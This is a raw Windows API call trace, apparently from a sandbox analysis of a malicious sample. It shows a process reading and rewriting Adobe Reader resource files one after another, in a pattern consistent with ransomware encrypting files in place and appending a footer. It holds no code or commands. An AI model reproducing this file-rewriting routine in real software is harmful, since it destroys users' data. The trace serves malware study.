[0048.954] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x6aae [0048.954] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0048.954] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.954] ReleaseMutex (hMutex=0x128) returned 1 [0048.954] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.lv_LV.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0048.954] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.lv_LV.txt", cchWideChar=30, lpMultiByteStr=0x1e7fb1c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.lv_LV.txt", lpUsedDefaultChar=0x0) returned 30 [0048.954] ReadFile (in: hFile=0x168, lpBuffer=0x261d6d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x261d6d8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0048.955] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x5aae [0048.955] ReadFile (in: hFile=0x168, lpBuffer=0x261d6d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x261d6d8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0048.956] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x5aae [0048.956] WriteFile (in: hFile=0x168, lpBuffer=0x276b958*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276b958*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0048.956] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0048.956] WriteFile (in: hFile=0x168, lpBuffer=0x261d6d8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x261d6d8*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0048.956] CloseHandle (hObject=0x168) returned 1 [0048.956] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pl_PL.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pl_pl.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0048.957] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0048.957] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x6e56 [0048.957] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0048.957] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.957] ReleaseMutex (hMutex=0x128) returned 1 [0048.957] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.pl_PL.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0048.957] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.pl_PL.txt", cchWideChar=30, lpMultiByteStr=0x1e7fb1c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.pl_PL.txt", lpUsedDefaultChar=0x0) returned 30 [0048.957] ReadFile (in: hFile=0x168, lpBuffer=0x261d6d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x261d6d8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0048.960] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x5e56 [0048.960] ReadFile (in: hFile=0x168, lpBuffer=0x261d6d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x261d6d8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0048.961] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x5e56 [0048.961] WriteFile (in: hFile=0x168, lpBuffer=0x276b958*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276b958*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0048.961] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0048.961] WriteFile (in: hFile=0x168, lpBuffer=0x261d6d8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x261d6d8*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0048.961] CloseHandle (hObject=0x168) returned 1 [0048.961] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sk_SK.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sk_sk.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0048.962] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0048.962] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x6d76 [0048.962] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0048.962] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.962] ReleaseMutex (hMutex=0x128) returned 1 [0048.962] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sk_SK.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0048.962] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sk_SK.txt", cchWideChar=30, lpMultiByteStr=0x1e7fb1c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.sk_SK.txt", lpUsedDefaultChar=0x0) returned 30 [0048.962] ReadFile (in: hFile=0x168, lpBuffer=0x261d6d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x261d6d8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0048.963] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x5d76 [0048.963] ReadFile (in: hFile=0x168, lpBuffer=0x261d6d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x261d6d8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0048.964] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x5d76 [0048.964] WriteFile (in: hFile=0x168, lpBuffer=0x276b958*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276b958*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0048.965] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0048.965] WriteFile (in: hFile=0x168, lpBuffer=0x261d6d8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x261d6d8*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0048.965] CloseHandle (hObject=0x168) returned 1 [0048.965] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_CN.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.zh_cn.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0048.965] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0048.965] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x6068 [0048.965] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0048.965] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.965] ReleaseMutex (hMutex=0x128) returned 1 [0048.965] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.zh_CN.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0048.965] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.zh_CN.txt", cchWideChar=30, lpMultiByteStr=0x1e7fb1c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.zh_CN.txt", lpUsedDefaultChar=0x0) returned 30 [0048.965] ReadFile (in: hFile=0x168, lpBuffer=0x261d6d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x261d6d8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0049.237] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x5068 [0049.237] ReadFile (in: hFile=0x168, lpBuffer=0x261d6d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x261d6d8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0049.238] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x5068 [0049.238] WriteFile (in: hFile=0x168, lpBuffer=0x276b958*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276b958*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0049.239] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0049.239] WriteFile (in: hFile=0x168, lpBuffer=0x261d6d8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x261d6d8*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0049.239] CloseHandle (hObject=0x168) returned 1 [0049.239] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\brt55.ths" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\brt55.ths"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0049.240] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0049.240] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x82800 [0049.240] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0049.240] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.240] ReleaseMutex (hMutex=0x128) returned 1 [0049.240] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brt55.ths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0049.240] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brt55.ths", cchWideChar=9, lpMultiByteStr=0x1e6316c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brt55.ths", lpUsedDefaultChar=0x0) returned 9 [0049.240] ReadFile (in: hFile=0x168, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0049.242] ReadFile (in: hFile=0x168, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0049.242] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x81800 [0049.242] ReadFile (in: hFile=0x168, lpBuffer=0x261d6d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x261d6d8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0049.244] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x81800 [0049.244] WriteFile (in: hFile=0x168, lpBuffer=0x276b958*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276b958*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0049.244] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0049.244] WriteFile (in: hFile=0x168, lpBuffer=0x3a284c8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a284c8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0049.244] WriteFile (in: hFile=0x168, lpBuffer=0x3a284c8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a284c8*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0049.245] CloseHandle (hObject=0x168) returned 1 [0049.245] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\can.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\can.hyp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0049.245] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0049.245] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x1a400 [0049.245] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0049.245] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.245] ReleaseMutex (hMutex=0x128) returned 1 [0049.245] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="can.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0049.246] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="can.hyp", cchWideChar=7, lpMultiByteStr=0x1e6aa2c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="can.hyp", lpUsedDefaultChar=0x0) returned 7 [0049.246] ReadFile (in: hFile=0x168, lpBuffer=0x1de4de8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1de4de8*, lpNumberOfBytesRead=0x304f278*=0x4000, lpOverlapped=0x0) returned 1 [0049.247] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x19400 [0049.247] ReadFile (in: hFile=0x168, lpBuffer=0x261d6d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x261d6d8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0049.248] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x19400 [0049.248] WriteFile (in: hFile=0x168, lpBuffer=0x1deee78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1deee78*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0049.248] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0049.249] WriteFile (in: hFile=0x168, lpBuffer=0x1de8e18*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de8e18*, lpNumberOfBytesWritten=0x304f28c*=0x4000, lpOverlapped=0x0) returned 1 [0049.249] CloseHandle (hObject=0x168) returned 1 [0049.249] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\ctl.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\ctl.hyp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0049.249] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0049.249] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x2400 [0049.250] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0049.250] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.250] ReleaseMutex (hMutex=0x128) returned 1 [0049.250] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ctl.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0049.250] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ctl.hyp", cchWideChar=7, lpMultiByteStr=0x1e6aa2c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctl.hyp", lpUsedDefaultChar=0x0) returned 7 [0049.250] ReadFile (in: hFile=0x168, lpBuffer=0x261d6d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x261d6d8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0049.251] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x1400 [0049.251] ReadFile (in: hFile=0x168, lpBuffer=0x261d6d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x261d6d8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0049.252] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x1400 [0049.252] WriteFile (in: hFile=0x168, lpBuffer=0x276b958*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276b958*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0049.252] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0049.252] WriteFile (in: hFile=0x168, lpBuffer=0x261d6d8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x261d6d8*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0049.252] CloseHandle (hObject=0x168) returned 1 [0049.252] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\dan94.ths" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\dan94.ths"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0049.253] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0049.253] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x5a800 [0049.253] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0049.253] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.253] ReleaseMutex (hMutex=0x128) returned 1 [0049.253] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dan94.ths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0049.253] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dan94.ths", cchWideChar=9, lpMultiByteStr=0x1e630ec, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dan94.ths", lpUsedDefaultChar=0x0) returned 9 [0049.253] ReadFile (in: hFile=0x168, lpBuffer=0x1de4de8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1de4de8*, lpNumberOfBytesRead=0x304f278*=0x8000, lpOverlapped=0x0) returned 1 [0049.255] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x59800 [0049.255] ReadFile (in: hFile=0x168, lpBuffer=0x261d6d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x261d6d8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0049.256] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, 